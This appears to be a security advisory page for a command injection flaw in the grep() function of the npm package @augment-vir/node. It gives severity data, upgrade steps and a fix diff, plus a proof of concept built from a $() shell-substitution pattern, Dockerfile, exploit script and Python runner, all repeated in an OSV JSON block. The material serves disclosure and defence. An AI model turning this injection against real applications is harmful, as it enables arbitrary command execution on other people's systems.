CVE-2026-63496: @augment vir/node Augment-virShell Allows Command Injection Vulnerability

HIGH
Advisory Identifier: GHSA-xvcc-vqjv-phqh
CVSS 7.8
CWE-78
Published
Advisory Summary

CVE-2026-63496 is a HIGH (CVSS 7.8) augment-virshell allows command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting @augment vir/node libraries in the npm ecosystem. The issue involves augment-virshell allows command injection in `grep()` via unsanitized `searchpattern`. Remediation is available by upgrading affected packages to version 31.73.5.

CVE-2026-63496 at a Glance

CVE Identifier CVE-2026-63496
GHSA Identifier GHSA-xvcc-vqjv-phqh
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product @augment vir/node
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-63496

To remediate this vulnerability, upgrade all affected @augment vir/node dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@augment-vir/node fixed: 31.73.5
npm install @augment-vir/node@31.73.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @augment-vir/node

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-63496, inspect your project dependencies using npm:

npm ls @augment-vir/node

Analyze the terminal output to locate any version of @augment vir/node in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 31.73.5), your application is affected.

Note: The npm ls @augment-vir/node command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In @augment vir/node, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Shell Command Injection in `grep()` via Unsanitized `searchPattern` ### Summary The `grep()` function exported by `@augment-vir/node` inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (`grep.ts:310`). When the constructed command is passed to `spawn()` with `shell: 'bash'` (`shell.ts:98-99`), bash evaluates `$()` command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to `grep()`'s `pattern` or `patterns` field is vulnerable to unauthenticated local (and potentially remote) code execution. CVSS Base Score: **7.8 (High)**. ### Details **Root cause:** `packages/node/src/augments/fs/grep.ts:310` maps each search pattern into the shell fragment `-e "${searchPattern}"` with no sanitization: ```ts // grep.ts:310 ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`), ``` The resulting full command string is forwarded to `runShellCommand` (`grep.ts:320`), which calls `streamShellCommand` (`shell.ts:221-224`), which ultimately calls: ```ts // shell.ts:98-99 const childProcess = spawn(command, { shell, // defaults to 'bash' (shell.ts:92) ``` Because `shell` is `'bash'`, bash interprets `$()` within the double-quoted pattern as a command substitution and executes it before `grep` ever runs. **Incomplete sanitization:** An `escape()` helper exists at `grep.ts:178-180` but only replaces `"` with `\"` and removes newlines. It is applied to `excludePatterns`, `excludeDirs`, and `includeFiles` (`grep.ts:297-308`) but **not** to `searchPatterns`. Even if it were applied, double-quote escaping does not prevent `$()` or backtick substitution inside bash double-quote contexts. **Data flow (source → sink):** | Step | Location | Description | |------|----------|-------------| | 1 | `packages/node/src/index.ts:3` | `export * from './augments/fs/grep.js'` — exposes `grep()` as a public npm API | | 2 | `packages/node/src/augments/fs/grep.ts:223-226` | `grep()` accepts caller-controlled `grepSearchPattern` and `grepSearchLocation` | | 3 | `packages/node/src/augments/fs/grep.ts:228` | `searchPatterns` derived from `grepSearchPattern.patterns \|\| [grepSearchPattern.pattern]` | | 4 | `packages/node/src/augments/fs/grep.ts:269-314` | `fullCommand` built as a plain shell string | | 5 | `packages/node/src/augments/fs/grep.ts:310` | **Sink:** `searchPattern` inserted as `` `-e "${searchPattern}"` `` — no escaping applied | | 6 | `packages/node/src/augments/fs/grep.ts:320` | `fullCommand` passed to `runShellCommand` | | 7 | `packages/node/src/augments/terminal/shell.ts:221-224` | Forwarded to `streamShellCommand` | | 8 | `packages/node/src/augments/terminal/shell.ts:98-99` | `spawn(command, { shell: 'bash' })` executes the constructed command string | **Suggested remediation:** ```diff --- a/packages/node/src/augments/fs/grep.ts +++ b/packages/node/src/augments/fs/grep.ts @@ -function escape(input: string) { - return input.replaceAll('"', String.raw`\"`).replaceAll('\n', ''); +function shellQuote(input: string) { + return `'${input.replaceAll("'", String.raw`'\''`).replaceAll('\n', '')}'`; } @@ - ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`), + ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`), + '--', ...searchParts, ``` Alternatively, replace the shell-string approach with `spawn('grep', args, { shell: false })` to avoid shell interpretation entirely. ### PoC **Prerequisites:** Docker installed on the host. All steps run locally inside a container — no network exposure, no real credentials, no DoS. **Step 1 — Build the Docker image:** ```bash docker build -t augment-vir-vuln-001-poc \ vuln-001 ``` **Step 2 — Run the exploit container:** ```bash docker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc ``` **Core exploit (`exploit.mjs` inside the container):** ```js import { grep } from '@augment-vir/node'; await grep( { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' }, { file: 'package.json' }, ); ``` The `$()` shell substitution in the pattern causes bash to execute `touch /tmp/augment-vir-poc-triggered` before grep runs. The sentinel file is created even though the grep pattern itself matches nothing in `package.json`. **Expected output:** ``` [*] Calling grep() with injected $() command substitution pattern... [*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match === VULNERABLE === [+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered [+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"}) ``` **Minimal reproduction without Docker:** ```bash mkdir /tmp/av-grep-poc && cd /tmp/av-grep-poc npm init -y npm install @augment-vir/node@31.73.2 cat > poc.mjs <<'EOF' import { grep } from '@augment-vir/node'; await grep( { pattern: '$(touch /tmp/augment-vir-grep-poc)no-match' }, { file: 'package.json' }, ); EOF rm -f /tmp/augment-vir-grep-poc node poc.mjs test -f /tmp/augment-vir-grep-poc && echo VULNERABLE ``` **Verification:** Both Phase 1 static analysis and Phase 2 dynamic reproduction confirmed the vulnerability. `VULNERABLE` and `COMMAND INJECTION CONFIRMED` were observed in stdout; the sentinel file `/tmp/augment-vir-poc-triggered` was created inside the Docker container. ### Impact This is an **OS Command Injection (CWE-78)** vulnerability. Any application that calls `@augment-vir/node`'s `grep()` with user-controlled input in the `pattern` or `patterns` field is vulnerable to arbitrary command execution under the Node.js process's user account. - **Confidentiality — High:** An attacker can read arbitrary files accessible to the process. - **Integrity — High:** An attacker can write or delete files, install malware, or modify application data. - **Availability — High:** An attacker can terminate processes or exhaust system resources. The attack vector is classified as Local (the attacker must control the value passed to `pattern` at the library API level). In practice the severity escalates to Network-reachable if a web service or API maps any user-supplied string to the `grep()` `pattern` parameter. No authentication or special privileges are required; the function is exported from the package's main entry point and is enabled by default. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM node:22-slim # Install grep (required by @augment-vir/node's grep() implementation) RUN apt-get update -qq && apt-get install -y --no-install-recommends grep && rm -rf /var/lib/apt/lists/* WORKDIR /poc # Initialize npm project and install the vulnerable package version RUN npm init -y && \ npm install @augment-vir/node@31.73.2 --save 2>&1 | tail -5 # Create the exploit script that demonstrates command injection via grep() # The pattern '$(touch /tmp/augment-vir-poc-triggered)no-match' is injected # into the shell command string without sanitization, causing $() substitution # to execute 'touch /tmp/augment-vir-poc-triggered' under bash. RUN cat > /poc/exploit.mjs << 'EOF' import { grep } from '@augment-vir/node'; import { existsSync } from 'node:fs'; const SENTINEL_FILE = '/tmp/augment-vir-poc-triggered'; // Remove sentinel file if it exists from a previous run import { rmSync } from 'node:fs'; try { rmSync(SENTINEL_FILE); } catch {} console.log('[*] Calling grep() with injected $() command substitution pattern...'); console.log('[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match'); try { await grep( { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' }, { file: 'package.json' }, ); } catch (err) { // grep() may throw due to no matches — that is expected and irrelevant console.log('[*] grep() threw (expected when no matches):', err?.message ?? err); } if (existsSync(SENTINEL_FILE)) { console.log(''); console.log('=== VULNERABLE ==='); console.log('[+] COMMAND INJECTION CONFIRMED: sentinel file exists at', SENTINEL_FILE); console.log('[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})'); process.exit(0); } else { console.log(''); console.log('=== NOT EXPLOITED ==='); console.log('[-] Sentinel file was NOT created — injection did not fire.'); process.exit(1); } EOF CMD ["node", "/poc/exploit.mjs"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Shell Command Injection in @augment-vir/node grep() CWE-78 — OS Command Injection Affected version: @augment-vir/node@31.73.2 Root cause: packages/node/src/augments/fs/grep.ts:310 constructs a shell command string using unsanitized caller-supplied searchPattern inside double quotes: ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`) This command string is passed to spawn(command, { shell: 'bash' }), meaning $() command substitution in the pattern is executed by bash. Safe usage: This PoC runs entirely inside a local Docker container. No external network attacks, no real credentials, no DoS. """ import subprocess import sys import os import json IMAGE_NAME = "augment-vir-vuln-001-poc" CONTAINER_NAME = "augment-vir-vuln-001-run" DOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__)) BUILD_CMD = f"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}" RUN_CMD = f"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}" def run(cmd, **kwargs): """Run a shell command and return CompletedProcess.""" print(f"[cmd] {cmd}") return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs) def main(): print("=" * 60) print("VULN-001 PoC: Shell Command Injection in grep()") print("Package: @augment-vir/node@31.73.2") print("=" * 60) # Step 1: Build Docker image print("\n[*] Building Docker image...") build_result = run(BUILD_CMD, timeout=300) if build_result.returncode != 0: print("[!] Docker build FAILED") print(build_result.stdout[-2000:] if build_result.stdout else "") print(build_result.stderr[-2000:] if build_result.stderr else "") write_result( passed=False, verdict="FAIL", reason="Docker 빌드 실패 — npm install 또는 네트워크 오류", evidence=build_result.stderr[-1000:], ) sys.exit(1) print("[+] Docker image built successfully") # Step 2: Run exploit container print("\n[*] Running exploit container...") run_result = run(RUN_CMD, timeout=120) combined_output = run_result.stdout + run_result.stderr print(combined_output) # Step 3: Evaluate result vulnerable = "VULNERABLE" in combined_output and "COMMAND INJECTION CONFIRMED" in combined_output if vulnerable: print("\n[+] PASS — Command injection confirmed inside Docker container") print("[+] The $() substitution in grep() pattern was executed by bash") write_result( passed=True, verdict="PASS", reason=( "Docker 컨테이너 내에서 grep() 패턴에 포함된 $() 명령 치환이 bash에 의해 실행되었음을 확인. " "sentinel 파일 /tmp/augment-vir-poc-triggered가 생성되었으며 stdout에서 'VULNERABLE' 및 " "'COMMAND INJECTION CONFIRMED' 문자열이 관측됨." ), evidence=combined_output.strip()[-1500:], ) sys.exit(0) else: print("\n[-] FAIL — exploit did not produce expected output") write_result( passed=False, verdict="FAIL", reason=( "컨테이너 stdout에서 'VULNERABLE' 또는 'COMMAND INJECTION CONFIRMED'가 관측되지 않음. " "sentinel 파일이 생성되지 않았거나 grep() 동작이 예상과 다를 수 있음." ), evidence=combined_output.strip()[-1500:], ) sys.exit(1) def write_result(passed, verdict, reason, evidence): result = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": f"python3 {os.path.abspath(__file__)}", "evidence": evidence, "artifacts": ["Dockerfile", "poc.py"], } out_path = os.path.join(DOCKERFILE_DIR, "phase2_result.json") with open(out_path, "w", encoding="utf-8") as f: json.dump(result, f, ensure_ascii=False, indent=2) print(f"\n[*] Result written to {out_path}") if __name__ == "__main__": main() ```

CVE-2026-63496 Affected @augment vir/node Versions

1 component(s)
Fixed Versions:
31.73.5
Product / Package Ecosystem Affected Versions Fixed Version
@augment-vir/node
npm
< 31.73.5
31.73.5

References

Frequently Asked Questions

What is CVE-2026-63496?
CVE-2026-63496 is a security vulnerability in @augment vir/node involving augment-virShell allows Command Injection in `grep()` via Unsanitized `searchPattern` under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which @augment vir/node versions are affected?
Affected versions include releases prior to 31.73.5 across affected packages: @augment-vir/node.
What version fixes CVE-2026-63496?
Upgrading to 31.73.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @augment-vir/node affected?
Yes, @augment-vir/node is affected in releases prior to 31.73.5. Upgrade your dependency to 31.73.5 or later.
What is the CVSS score of CVE-2026-63496?
CVE-2026-63496 has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-63496?
CVE-2026-63496 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-63496?
Run the dependency tree command: 'npm ls @augment-vir/node'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xvcc-vqjv-phqh",
  "modified" : "2026-11-18T16:15:53Z",
  "published" : "2026-11-18T16:15:52Z",
  "aliases" : [ "CVE-2026-63496" ],
  "summary" : "augment-virShell allows Command Injection in `grep()` via Unsanitized `searchPattern`",
  "details" : "## Shell Command Injection in `grep()` via Unsanitized `searchPattern`\n\n### Summary\n\nThe `grep()` function exported by `@augment-vir/node` inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (`grep.ts:310`). When the constructed command is passed to `spawn()` with `shell: 'bash'` (`shell.ts:98-99`), bash evaluates `$()` command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to `grep()`'s `pattern` or `patterns` field is vulnerable to unauthenticated local (and potentially remote) code execution. CVSS Base Score: **7.8 (High)**.\n\n### Details\n\n**Root cause:** `packages/node/src/augments/fs/grep.ts:310` maps each search pattern into the shell fragment `-e \"${searchPattern}\"` with no sanitization:\n\n```ts\n// grep.ts:310\n...searchPatterns.map((searchPattern) => `-e \"${searchPattern}\"`),\n```\n\nThe resulting full command string is forwarded to `runShellCommand` (`grep.ts:320`), which calls `streamShellCommand` (`shell.ts:221-224`), which ultimately calls:\n\n```ts\n// shell.ts:98-99\nconst childProcess = spawn(command, {\n    shell,   // defaults to 'bash' (shell.ts:92)\n```\n\nBecause `shell` is `'bash'`, bash interprets `$()` within the double-quoted pattern as a command substitution and executes it before `grep` ever runs.\n\n**Incomplete sanitization:** An `escape()` helper exists at `grep.ts:178-180` but only replaces `\"` with `\\\"` and removes newlines. It is applied to `excludePatterns`, `excludeDirs`, and `includeFiles` (`grep.ts:297-308`) but **not** to `searchPatterns`. Even if it were applied, double-quote escaping does not prevent `$()` or backtick substitution inside bash double-quote contexts.\n\n**Data flow (source → sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `packages/node/src/index.ts:3` | `export * from './augments/fs/grep.js'` — exposes `grep()` as a public npm API |\n| 2 | `packages/node/src/augments/fs/grep.ts:223-226` | `grep()` accepts caller-controlled `grepSearchPattern` and `grepSearchLocation` |\n| 3 | `packages/node/src/augments/fs/grep.ts:228` | `searchPatterns` derived from `grepSearchPattern.patterns \\|\\| [grepSearchPattern.pattern]` |\n| 4 | `packages/node/src/augments/fs/grep.ts:269-314` | `fullCommand` built as a plain shell string |\n| 5 | `packages/node/src/augments/fs/grep.ts:310` | **Sink:** `searchPattern` inserted as `` `-e \"${searchPattern}\"` `` — no escaping applied |\n| 6 | `packages/node/src/augments/fs/grep.ts:320` | `fullCommand` passed to `runShellCommand` |\n| 7 | `packages/node/src/augments/terminal/shell.ts:221-224` | Forwarded to `streamShellCommand` |\n| 8 | `packages/node/src/augments/terminal/shell.ts:98-99` | `spawn(command, { shell: 'bash' })` executes the constructed command string |\n\n**Suggested remediation:**\n\n```diff\n--- a/packages/node/src/augments/fs/grep.ts\n+++ b/packages/node/src/augments/fs/grep.ts\n@@\n-function escape(input: string) {\n-    return input.replaceAll('\"', String.raw`\\\"`).replaceAll('\\n', '');\n+function shellQuote(input: string) {\n+    return `'${input.replaceAll(\"'\", String.raw`'\\''`).replaceAll('\\n', '')}'`;\n }\n@@\n-        ...searchPatterns.map((searchPattern) => `-e \"${searchPattern}\"`),\n+        ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),\n+        '--',\n         ...searchParts,\n```\n\nAlternatively, replace the shell-string approach with `spawn('grep', args, { shell: false })` to avoid shell interpretation entirely.\n\n### PoC\n\n**Prerequisites:** Docker installed on the host. All steps run locally inside a container — no network exposure, no real credentials, no DoS.\n\n**Step 1 — Build the Docker image:**\n\n```bash\ndocker build -t augment-vir-vuln-001-poc \\\n  vuln-001\n```\n\n**Step 2 — Run the exploit container:**\n\n```bash\ndocker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc\n```\n\n**Core exploit (`exploit.mjs` inside the container):**\n\n```js\nimport { grep } from '@augment-vir/node';\n\nawait grep(\n  { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },\n  { file: 'package.json' },\n);\n```\n\nThe `$()` shell substitution in the pattern causes bash to execute `touch /tmp/augment-vir-poc-triggered` before grep runs. The sentinel file is created even though the grep pattern itself matches nothing in `package.json`.\n\n**Expected output:**\n\n```\n[*] Calling grep() with injected $() command substitution pattern...\n[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match\n\n=== VULNERABLE ===\n[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered\n[+] The $() substitution in pattern was executed by bash via spawn({shell:\"bash\"})\n```\n\n**Minimal reproduction without Docker:**\n\n```bash\nmkdir /tmp/av-grep-poc && cd /tmp/av-grep-poc\nnpm init -y\nnpm install @augment-vir/node@31.73.2\n\ncat > poc.mjs <<'EOF'\nimport { grep } from '@augment-vir/node';\nawait grep(\n  { pattern: '$(touch /tmp/augment-vir-grep-poc)no-match' },\n  { file: 'package.json' },\n);\nEOF\n\nrm -f /tmp/augment-vir-grep-poc\nnode poc.mjs\ntest -f /tmp/augment-vir-grep-poc && echo VULNERABLE\n```\n\n**Verification:** Both Phase 1 static analysis and Phase 2 dynamic reproduction confirmed the vulnerability. `VULNERABLE` and `COMMAND INJECTION CONFIRMED` were observed in stdout; the sentinel file `/tmp/augment-vir-poc-triggered` was created inside the Docker container.\n\n### Impact\n\nThis is an **OS Command Injection (CWE-78)** vulnerability. Any application that calls `@augment-vir/node`'s `grep()` with user-controlled input in the `pattern` or `patterns` field is vulnerable to arbitrary command execution under the Node.js process's user account.\n\n- **Confidentiality — High:** An attacker can read arbitrary files accessible to the process.\n- **Integrity — High:** An attacker can write or delete files, install malware, or modify application data.\n- **Availability — High:** An attacker can terminate processes or exhaust system resources.\n\nThe attack vector is classified as Local (the attacker must control the value passed to `pattern` at the library API level). In practice the severity escalates to Network-reachable if a web service or API maps any user-supplied string to the `grep()` `pattern` parameter. No authentication or special privileges are required; the function is exported from the package's main entry point and is enabled by default.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:22-slim\n\n# Install grep (required by @augment-vir/node's grep() implementation)\nRUN apt-get update -qq && apt-get install -y --no-install-recommends grep && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /poc\n\n# Initialize npm project and install the vulnerable package version\nRUN npm init -y && \\\n    npm install @augment-vir/node@31.73.2 --save 2>&1 | tail -5\n\n# Create the exploit script that demonstrates command injection via grep()\n# The pattern '$(touch /tmp/augment-vir-poc-triggered)no-match' is injected\n# into the shell command string without sanitization, causing $() substitution\n# to execute 'touch /tmp/augment-vir-poc-triggered' under bash.\nRUN cat > /poc/exploit.mjs << 'EOF'\nimport { grep } from '@augment-vir/node';\nimport { existsSync } from 'node:fs';\n\nconst SENTINEL_FILE = '/tmp/augment-vir-poc-triggered';\n\n// Remove sentinel file if it exists from a previous run\nimport { rmSync } from 'node:fs';\ntry { rmSync(SENTINEL_FILE); } catch {}\n\nconsole.log('[*] Calling grep() with injected $() command substitution pattern...');\nconsole.log('[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match');\n\ntry {\n  await grep(\n    { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },\n    { file: 'package.json' },\n  );\n} catch (err) {\n  // grep() may throw due to no matches — that is expected and irrelevant\n  console.log('[*] grep() threw (expected when no matches):', err?.message ?? err);\n}\n\nif (existsSync(SENTINEL_FILE)) {\n  console.log('');\n  console.log('=== VULNERABLE ===');\n  console.log('[+] COMMAND INJECTION CONFIRMED: sentinel file exists at', SENTINEL_FILE);\n  console.log('[+] The $() substitution in pattern was executed by bash via spawn({shell:\"bash\"})');\n  process.exit(0);\n} else {\n  console.log('');\n  console.log('=== NOT EXPLOITED ===');\n  console.log('[-] Sentinel file was NOT created — injection did not fire.');\n  process.exit(1);\n}\nEOF\n\nCMD [\"node\", \"/poc/exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Shell Command Injection in @augment-vir/node grep()\nCWE-78 — OS Command Injection\nAffected version: @augment-vir/node@31.73.2\n\nRoot cause:\n  packages/node/src/augments/fs/grep.ts:310 constructs a shell command string\n  using unsanitized caller-supplied searchPattern inside double quotes:\n    ...searchPatterns.map((searchPattern) => `-e \"${searchPattern}\"`)\n  This command string is passed to spawn(command, { shell: 'bash' }), meaning\n  $() command substitution in the pattern is executed by bash.\n\nSafe usage: This PoC runs entirely inside a local Docker container.\n            No external network attacks, no real credentials, no DoS.\n\"\"\"\n\nimport subprocess\nimport sys\nimport os\nimport json\n\nIMAGE_NAME = \"augment-vir-vuln-001-poc\"\nCONTAINER_NAME = \"augment-vir-vuln-001-run\"\nDOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__))\n\nBUILD_CMD = f\"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}\"\nRUN_CMD = f\"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}\"\n\n\ndef run(cmd, **kwargs):\n    \"\"\"Run a shell command and return CompletedProcess.\"\"\"\n    print(f\"[cmd] {cmd}\")\n    return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs)\n\n\ndef main():\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Shell Command Injection in grep()\")\n    print(\"Package: @augment-vir/node@31.73.2\")\n    print(\"=\" * 60)\n\n    # Step 1: Build Docker image\n    print(\"\\n[*] Building Docker image...\")\n    build_result = run(BUILD_CMD, timeout=300)\n    if build_result.returncode != 0:\n        print(\"[!] Docker build FAILED\")\n        print(build_result.stdout[-2000:] if build_result.stdout else \"\")\n        print(build_result.stderr[-2000:] if build_result.stderr else \"\")\n        write_result(\n            passed=False,\n            verdict=\"FAIL\",\n            reason=\"Docker 빌드 실패 — npm install 또는 네트워크 오류\",\n            evidence=build_result.stderr[-1000:],\n        )\n        sys.exit(1)\n    print(\"[+] Docker image built successfully\")\n\n    # Step 2: Run exploit container\n    print(\"\\n[*] Running exploit container...\")\n    run_result = run(RUN_CMD, timeout=120)\n\n    combined_output = run_result.stdout + run_result.stderr\n    print(combined_output)\n\n    # Step 3: Evaluate result\n    vulnerable = \"VULNERABLE\" in combined_output and \"COMMAND INJECTION CONFIRMED\" in combined_output\n\n    if vulnerable:\n        print(\"\\n[+] PASS — Command injection confirmed inside Docker container\")\n        print(\"[+] The $() substitution in grep() pattern was executed by bash\")\n        write_result(\n            passed=True,\n            verdict=\"PASS\",\n            reason=(\n                \"Docker 컨테이너 내에서 grep() 패턴에 포함된 $() 명령 치환이 bash에 의해 실행되었음을 확인. \"\n                \"sentinel 파일 /tmp/augment-vir-poc-triggered가 생성되었으며 stdout에서 'VULNERABLE' 및 \"\n                \"'COMMAND INJECTION CONFIRMED' 문자열이 관측됨.\"\n            ),\n            evidence=combined_output.strip()[-1500:],\n        )\n        sys.exit(0)\n    else:\n        print(\"\\n[-] FAIL — exploit did not produce expected output\")\n        write_result(\n            passed=False,\n            verdict=\"FAIL\",\n            reason=(\n                \"컨테이너 stdout에서 'VULNERABLE' 또는 'COMMAND INJECTION CONFIRMED'가 관측되지 않음. \"\n                \"sentinel 파일이 생성되지 않았거나 grep() 동작이 예상과 다를 수 있음.\"\n            ),\n            evidence=combined_output.strip()[-1500:],\n        )\n        sys.exit(1)\n\n\ndef write_result(passed, verdict, reason, evidence):\n    result = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": BUILD_CMD,\n        \"run_command\": RUN_CMD,\n        \"poc_command\": f\"python3 {os.path.abspath(__file__)}\",\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n    }\n    out_path = os.path.join(DOCKERFILE_DIR, \"phase2_result.json\")\n    with open(out_path, \"w\", encoding=\"utf-8\") as f:\n        json.dump(result, f, ensure_ascii=False, indent=2)\n    print(f\"\\n[*] Result written to {out_path}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@augment-vir/node"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "31.73.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/electrovir/augment-vir/security/advisories/GHSA-xvcc-vqjv-phqh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-63496"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/electrovir/augment-vir/commit/9e1a3592903a56e500959be72276ede1708c3437"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/electrovir/augment-vir"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/electrovir/augment-vir/releases/tag/v31.73.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-18T16:15:52Z",
    "nvd_published_at" : "2026-11-09T22:18:53Z"
  }
}